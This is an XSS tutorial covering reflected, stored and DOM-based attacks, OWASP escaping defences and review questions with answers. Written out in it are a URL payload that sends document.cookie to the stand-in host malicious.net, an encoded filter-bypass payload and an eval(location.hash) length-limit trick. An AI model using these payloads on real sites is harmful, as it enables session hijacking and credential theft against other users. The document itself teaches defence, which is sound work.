Background
Typically, an attacker tries to interact with the server in unexpected ways to perform unauthorized actions and access unauthorized data.
XSS type attacks are different, because the attacker's primary target is the application's other users. The vulnerabilities still exist within the application itself. However, the attacker is using these vulnerabilities to carry out malicious actions against another end user.
Attacks against other users have many complexities are not not well understood than server side ones.
Overview
XSS is one of the most prevalent web application vulnerability found in the wild (2nd most common as per OWASP).
XSS typically represents a critical security weakness within an application. It can often be combined with other vulnerabilities for malicious purposes.
It's even possible to turn an XSS attack into a virus or self-propagating worm
What happened?
- Maybe the user did something wrong.
Stored XSS attacks can compromise a users system without any insecure action from her.
- But the attacker doesn't own my App.
It's possible to own an App.
Type of XSS attacks
- Reflected XSS Vulnerabilities
- Stored XSS Vulnerabilities
- DOM-Based XSS Vulnerabilities
Reflected XSS Vulnerabilities
Reflected attacks are those where the injected code is reflected off the web server and are commonly delivered to victims via an e-mail message.
Let's say a web application has a dynamic page to display error messages.
http://example.com/error.jsp?msg=An+error+occurred
This works well for the application because the app can now control the error page by a parameter and use this page to display all the error messages in the application.
The problem
The msg parameter is not filtered or sanitized and the value is simply inserted in the error page. This allows an attacker to specify a malicious script in the message parameter and the web page will simply "reflect" it back.
A benign example:
http://example.com/error.jsp?msg=<script>alert(1)</script>
This hardly seems threatening, a user executes a script in his own browser, in his own session and for the same same web app. Right?
How to exploit the vulnerability?
Let's walk through a few steps to see how one can exploit this vulnerability.
A user logs into a web application and is issued a session id:
Set-Cookie: sessId=123
For now, let's assume ( somehow) the attacker feeds the below URL to the user:
http://example.com/error.jsp?message=<script>var+i=new+Image ;+i.src="http://malicious.net/"%2bdocument.cookie;</script>The user clicks on the URL provided and the browser and the server response contains the Javascript the attacker embedded.
The users browser executes the Javascript which results in the current session token to be sent to the attacker's website identifed above as "malicious.net".
The attacker is now free to hijack the users session and gain access to the users personal information or perform actions on his behalf.
But wait...
Since the attacker got the user to click on something extraneous. Why doesn't the attacker execute a malicious script directly from his site?
because browsers segregate content based on the domain and cookies can only be accessed by the domain that issued them.
Someone might question the feasibility of this attack especially since it requires the user to "click" on something extraneous to activate this attack. Which user would do that?
Well, "Administrators" in Apache Software foundation ended up doing that. Refer:http://blogs.apache.org/infra/entry/apache_org_04_09_2010Well, the CEO of a webmail provider did. Refer http://blogs.zdnet.com/security/?p=3514
Summary
Even though an attacker's script originated somewhere else it was able to gain access to the cookies issuedby example.com and that is why we call it cross-site scripting.
Stored XSS Vulnerabilities
Stored XSS attacks happen when data submitted by one user is stored in the application and then is displayed to other users without being filtered or sanitized.how to exploit the
The attacker will submit some data including malicious content to the web app which stores this data. For example:
A FAQ website accepts FAQ entries from end users and stores it in a web page that is available to the other users. An attacker can submit content with malicious javascript in the FAQ entry that ends up being stored in the website's content and is rendered every time someone visits the page.
A user ( or victim) ends up viewing the page allowing the "stored" malicious content to execute in his browser.
Reflected attacks look more glamorous but Stored XSS attacks are generally more dangerous. Mostly because in the reflected attack, the attacker needs a user to visit a a crafted link.
In the case of stored attack, the attacker exploits the vulnerability and simply waits for a user to visit the affected page.
Another reason is because the reflected attack requires a session to exist before it can be hijacked immediately otherwise the user has to be coaxed into log-in in the application.
DOM-Based XSS Vulnerabilities
Reflected and Stored are server side execution issues while DOM is client side. DOM-based XSS vulnerabilities appear more like reflected XSS bugs than the stored XSS ones. The attacker typically needs to induce a user to access a crafted URL containing malicious code.
Let's walk through steps similar to the reflected XSS example:
- Let's say a web application has a dynamic page to display error messages.
http://example.com/error.jsp?msg=An+error+occurred
- Let's assume the error.jsp has the following code:
<script>
var url = document.location;
url = unescape(url);
var message = url.substring(url.indexOf('message=') + 8, url
.length);
document.write(message);
</script>
- Let's say the attacker feeds the below URL to the user:
http://example.com/error.jsp?message=<script>var+i=new+Image ;+i.src="http://malicious.net/"%2bdocument.cookie;</script>
- The user clicks on the URL provided and the browser and the client side code in error.jsp contains the malicious Javascript the attacker provided.
- The users browser executes the Javascript which results in the current session token to be sent to the attacker's website identifed above as "malicious.net".
The attacker is now free to hijack the users session and gain access to the users personal information or perform actions on his behalf.
how to identity and prevent XSS attacks
- perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output.
- Tools that can be used to scan (but may offer limited analysis).
- Nessus, LAPSE, <TODO>
- Scrubbr is a BSD-licensed database scanning tool that checks numerous database technologies for the presence of possible stored cross-site scripting attacks.
- Turn off HTTP TRACE support on all webservers.
- Even when document.cookie is disabled or not supported on the client.
- An HTTP Trace call could be triggered which collects the user's cookie information from the server.
- Both reflected and stored XSS can be addressed by performing the appropriate validation and escaping on the server-side.
- Input validation by itself cannot prevent XSS. But it is definately useful and should be employed.
- Use escaping as the primary defense.
- However unicode encoding is automatically decoded and provides no defense against attacks. It is important to be consistent and specify the encoding as UTF-8 just to avoid misinterpretations between charsets though.
- Use an escaping library like ESAPI
- Simply encoding data is not enough. it is important to use the escape syntax for the part of the Html document we are putting the data into....
- Escape the untrusted data that goes in HTML element with HTML entity encoding
- to prevent switching into any execution context
- Html elements including <body>, <div>
- Example:
- String encoded = ESAPI.encoder().encodeForHTML(request.getParameter( "untrusted" ) );
- Escape the untrusted data that goes in HTML attributes
- This does not cover event handlers and other special attributes like src, href, style require special handling
- String encoded=ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "untrusted") );
- Escape the untrusted data that goes in HTML event handlers and script blocks
- The only safe place to put untrusted data into this javascript code is inside a quoted "data value" because it requires a corresponding quote to break out of this execution context.
- there are some JavaScript functions that can never safely use untrusted data as input. For instance window.setInterval.
- String encoded= ESAPI.encoder().encodeForJavaScript( request.getParameter( "untrusted" ) );
- Escape the untrusted data that goes in stylesheet or style tag.
- Just like javascript, there are some CSS contexts that can never take untrusted data even if escaped. For instance, background-url and expression.
- String encoded = ESAPI.encoder().encodeForCSS( request.getParameter( "untrusted" ) );
- Escape the untrusted data that goes in Html URL.
- Only encode the URL param for URL encoding:
- String safe = ESAPI.encoder().encodeForURL( request.getParameter( "input" ) );
- Don't encode complete or relative URLs with URL encoding. We first need to validate it.
- boolean isValidURL = ESAPI.validator().isValidInput("URLContext", userURL, "URL", 255, false);
- if (isValidURL) { <a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a> }
- Validate or clean user-driven HTML in an outbound way
- OWASP AntiSamy
import org.owasp.validator.html.*;
Policy policy = Policy.getInstance(POLICY_FILE_LOCATION);
AntiSamy as = new AntiSamy();
CleanResults cr = as.scan(dirtyInput, policy);
MyUserDAO.storeUserProfile(cr.getCleanHTML()); // some custom function
- OWASP Java HTML Sanitizer
import org.owasp.html.Sanitizers;
import org.owasp.html.PolicyFactory;
PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS);
String cleanResults = sanitizer.sanitize("<p>Hello, <b>World!</b>");
DOM based XSS
It is extremely difficult to prevent DOM based XSS attacks because of the large surface area and lack of standardization across browsers.
Rough guidelines to protect against DOM based XSS
- Always JavaScript encode and delimit untrusted data as quoted strings when entering the application. There are examples referenced below.
- Use document.createElement(“…”), element.setAttribute(“…”,”value”), element.appendChild(…), etc. to build dynamic interfaces. For setAttribute, follow the restrictions below.
- Avoid use of HTML rendering methods: element.innerHTML = “…”; element.outerHTML = “…”; document.write(…); document.writeln(…);
- Understand the dataflow of untrusted data through your JavaScript code. If you do have to use the methods above remember to HTML and then JavaScript encode the untrusted data.
- There are numerous methods which implicitly eval() data passed to it. Make sure that any untrusted data passed to these methods is delimited with string delimiters and enclosed within a closure or JavaScript encoded to N-levels based on usage, and wrapped in a custom function.
- N-Levels of Encoding
- Depending upon the number of implicit eval(), we have to JS encode the untrusted data that many number of times.
- Ideally, the correct way to apply encoding is to server-side encode first.
- var input = “<%=Encoder.encodeForJS(untrustedData)%>”; //server-side encoding
- window.location = ESAPI4JS.encodeForURL(input); //URL encoding is happening in JS
- document.writeln(ESAPI4JS.encodeForHTML(input)); //HTML encoding is happening in JS
- Note: Don't rely on JS encoding as the client side library could be subverted.
- Use a level of indirection and avoid using untrusted data as direct object references.
- Caja: JavaScript implementation for "virtual iframes" based on the principles of object-capabilities. Caja takes JavaScript (technically, ECMAScript 5 strict mode code), HTML, and CSS input and rewrites it into a safe subset plus a single JavaScript function with no free variables. Instead of giving direct references to DOM objects, the host page typically gives references to wrappers that sanitize HTML, proxy URLs, and prevent redirecting the page; prevent certain phishing, XSS and downloading malware.
- Blindly encoding HTML is not enough. Even if we encode HTML that is set in the "value" attribute of an Html tag, it is automatically decoded when we access that value from JavaScript.
- perfom server side length checks on the input data
Escape untrusted data in execution context.
- If we are in the execution context ( for instance within a script) then
- first escape the HTML and then
- escape the javascript
- Example:
- element.innerHTML = “<%=Encoder.encodeForJavascript(encoder.encodeForHTML(untrustedData))%>”;
- While using Html attributes in Javascript context, typically they can be protected by Html Attribute encoding of the untrusted data, followed by Javascript encoding. However in the javascript context, we have the potential to break the data display if we do that. To avoid this:
- x.setAttribute(“value”, ‘<%=encoder. encodeForJavaScript(untrusted)%>’);
- The above rule (of escaping javascript) does not work in the event handlers and javascript code subcontexts.
- primary recommendation is to avoid including untrusted data in this context.
- Untrusted data that was properly JavaScript encoded but is still dangerous(JavaScript encoding does not stop attacks within an execution context).
- x.setAttribute("onclick", "\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029");
- Though dangerous, directly setting event handler attributes will allow JavaScript encoding to mitigate against DOM based XSS.
- The following DOES WORK because the encoded value is a valid variable name or function reference. "testIt" is JavaScript encoded:
- document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074;
- When within an execution context ( javascript code), we need to encode the URL followed by Javascript encoding to prevent against attacks in the url field and in setAttribute calls.
- document.body.style.backgroundImage = "url(<%=encoder.encodeForJavaScript (encoder.encodeForURL(untrusted))%>)";
- Important: If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write(“<script>alert(‘XSS’)</script>”), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and (space) char and it won’t be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.
- The below encodings don't work. Example:
- <script>
- document.write("<%= ESAPI.encoder().encodeForJavaScript(vulstr2) %>");
- eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3) %>");
- </script>
- An appropriate encoding is to use HTML encoding in the first case.
HttpOnly flag
With an HttpOnly flag (optional) in the response header, the cookie cannot be accessed through client side script. So, even if a cross-site scripting (XSS) flaw exists, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.
Set-Cookie: <name>=<value>[; <Max-Age>=<age>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly]
Attempts to bypass checks.
- An attacker can encode portions of the javascript malicious code to hide against any checks. For instance "a" is encoded as UTF-8.
<IMG SRC=jAvascript:alert('test2')>
Tips
- XSS attacks can be carried out without using the <script> tags inside html attributes like onload, onerror etc.
- Output validation is the most important and is mandatory. Performing strict input validation should be viewed as a secondary failover.
- White-listed input validation. Data contains only a predefined list of characters.
- Eliminate dangerous insertion points.
Test
What do we escape and in which order?
<a href=”javascript:myFunction(‘<%=untrusted%>’, 'test');”>Click Me</a> ... <script> Function myFunction (url,name) { window.location = url; } </script>
Answer:In the above example, untrusted data started in the rendering URL context (href attribute of an <a> tag) then changed to a JavaScript execution context (javascript: protocol handler) which passed the untrusted data to an execution URL subcontext (window.location of myFunction).Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following: <a href=”javascript:myFunction(‘<%=Encoder.encodeForJavaScript( ? Encoder.encodeForURL(untrustedData))%>’, 'test');”>link</a>
More questions
Questions:
1.What standard "signature" in an application's behavior can be used to identify most instances of XSS vulnerabilities?
2.You discover a reflected XSS vulnerability within the unauthenticated area of an application's functionality. State two different ways in which the vulnerability could be used to compromise an authenticated session within the application.
3.You discover that the contents of a cookie parameter are copied without any filters or sanitization into the application's response. Can this behavior be used to inject arbitrary JavaScript into the returned page? Can it be exploited to perform an XSS attack against another user?
4.You discover stored XSS behavior within data that is only ever displayed back to yourself. Does this behavior have any security significance?
5.You are attacking a web mail application that handles file attachments and displays these in-browser. What common vulnerability should you immediately check for?
6.How does the same-origin policy impinge upon the use of the Ajax technology XMLHttpRequest?
7. Name three possible attack payloads for XSS exploits (that is, the malicious actions that you can perform within another user's browser, not the methods by which you deliver the attacks).
8.You have discovered a reflected XSS vulnerability where you can inject arbitrary data into a single location within the HTML of the returned page. The data inserted is truncated to 50 bytes, but you want to inject a lengthy script. You prefer not to call out to a script on an external server. How can you work around the length limit?
9.You discover a reflected XSS flaw in a request that must use the POST method. What delivery mechanisms are feasible for performing an attack?
Answers:
1.User-supplied input is returned unmodified within the application’s response to that input.
2.In most cases, XSS flaws within unauthenticated functionality work just as effectively against authenticated users – the functionality behaves in the same way, resulting in arbitrary JavaScript execution within the context of the authenticated user’s session.
Even if a target user is not logged in at the time of the attack, they may still be compromised. If the application is vulnerable to session fixation, then an attacker can capture their token and wait for them to log in. An attacker can inject code into the login page to capture keystrokes, or even present a Trojan login form which sends their credentials elsewhere.
3.The answer to the first question is "yes". The behavior of course enables arbitrary JavaScript to be injected via a crafted request. The answer to the second question is "maybe". Historically, various ways have existed of injecting arbitrary HTTP headers into cross-domain requests, to inject a malicious cookie. Older versions of Flash and XMLHttpRequest have been vulnerable in this way. Further, many applications designed to use a cookie will in fact accept the same named parameter in other locations, such as the query string or message body.
4.In isolation, it appears that this behavior could only ever be used by a user to attack themselves. However, in conjunction with another suitable vulnerability, such as an access control flaw, or cross-site request forgery vulnerability, it could be highly significant, and could enable an attacker to inject stored JavaScript into the pages displayed to other application users.
5.If the application displays HTML or text files without any sanitization, then JavaScript contained within these will execute within the browser of any user who views the attachment. Further, if a JPEG file contains HTML, then this will be automatically processed as HTML within some browsers. Many web mail applications do not adequately defend against XSS in message attachments.
6.Because XMLHttpRequest can be used to retrieve the full response from an HTTP request, it can only normally be used to make requests to the same domain as the one that is invoking it. However, HTML5 has introduced the facility for XMLHttpRequest to make cross-domain requests, and retrieve responses, with the permission of the requested domain (see Chapter 13).
7.There are countless different attack payloads for XSS exploits. Some of the more commonly discussed payloads are:
•stealing the session cookie;
•inducing user actions;
•injecting Trojan functionality;
•stealing cached autocomplete data; and
•logging keystrokes.
8.You can “convert” the reflected XSS flaw into a DOM-based one. For example, if the vulnerable parameter is called vuln, you can use the following URL to execute an arbitrarily long script:
/script.asp?vuln=<script>eval(location.hash.substr(1))</script>#alert('long script here ......')
9.If the POST method is mandatory, you cannot simply construct a crafted URL within the application that will execute an attack when a user visits it. However, you can create a third-party web page that submits to the vulnerable application a form using the POST method and the relevant parameters in hidden fields. You can use JavaScript to automatically submit the form when a user views your page.